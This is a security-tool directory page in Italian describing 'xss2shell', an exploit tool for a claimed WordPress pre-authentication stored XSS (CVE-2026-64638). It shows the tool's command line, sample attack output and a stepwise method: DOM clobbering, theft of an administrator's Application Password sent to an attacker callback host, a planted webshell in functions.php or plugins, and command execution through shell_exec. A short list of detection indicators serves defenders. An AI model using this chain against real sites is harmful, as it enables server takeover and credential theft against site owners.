Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
xss2shell — CVE-2026-64638 | WordPress < 7.0.3 XSS memorizzato pre-autenticazione → RCE | Kitploit
Strumenti/GitHubGitHub/alisalive/xss2shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubalisalive/xss2shell

xss2shell

CVE-2026-64638 | WordPress < 7.0.3 XSS memorizzato pre-autenticazione → RCE

Vedi Repository
2116 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
xss2shell



CVE WordPress Python License

Ogni PoC pubblico per questa CVE è rotto. Questo funziona.

Il Bug · Avvio Rapido · Come Funziona · Limitazioni


Il Bug

WordPress < 7.0.3 non sanifica il parametro log (username) in wp-login.php. Il valore viene memorizzato e renderizzato all'interno della sessione autenticata dell'amministratore — una XSS memorizzata pre-auth che si concatena alla completa compromissione del server con un singolo clic.

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

Avvio rapido

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
Esempio di output
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

Utilizzo

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

Come funziona

FaseAzioneDettaglio
1. XSSIniezione tramite wp-login.phpIl parametro log appositamente costruito con DOM clobbering (<area id=ajaxurl>) dirotta l'URL AJAX di WP, effettuando automaticamente il click sull'approvazione della Password dell'Applicazione tramite JSONP
2. FurtoEsfiltrazione della Password dell'Applicazioneauthorize-application.php crea silenziosamente una Password dell'Applicazione; success_url la invia all'attaccante
3. ShellScrittura di una webshell (3 fallback)Editor dei temi → functions.php · Caricamento plugin → xss2shell/shell.php · Editor dei plugin → file di un plugin esistente
4. RCEEsecuzione di comandi del sistema operativoLa webshell esegue shell_exec(), restituisce l'output in JSON, lo strumento verifica automaticamente e pulisce

Versioni interessate

VersioneStato
WordPress < 7.0.3Vulnerabile
WordPress >= 7.0.3Corretta

Limitazioni

CondizioneImpatto
DISALLOW_FILE_EDITEditor dei temi/plugin bloccati — funziona solo il caricamento ZIP
DISALLOW_FILE_MODSTutti e 3 i metodi bloccati — nessuna RCE
WAF (Cloudflare, Wordfence)Può filtrare il payload XSS o le richieste della webshell
disable_functions in PHPshell_exec bloccato — output vuoto
Blocco dei pop-upInterrompe la catena di pop-up
Header CSP restrittiviBloccano JS inline o fetch cross-origin

Rilevamento

Cerca questi indicatori se xss2shell è stato utilizzato contro il tuo sito:

  • Password dell'Applicazione con nome applicazione XSS2Shell-Poc-Wordsec
  • Plugin xss2shell in wp-content/plugins/
  • Stringa xss2shell_cmd in functions.php o in qualsiasi file di plugin
  • Richieste JSONP a /?rest_route=/&_method=GET&_jsonp=

Perché esiste

Ogni PoC pubblico per CVE-2026-64638 si ferma a alert(1) o richiede passaggi manuali che nessun triager può riprodurre. Questo strumento offre lo sfruttamento completo della catena con un singolo comando — da zero autenticazione a RCE. Creato per i ricercatori di sicurezza che necessitano di prove, non di teoria.

Disclaimer

Solo per test di sicurezza autorizzati e scopi educativi. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale.


WordSec · CVE-2026-64638 · Corretta in WordPress 7.0.3

Scarica lo strumento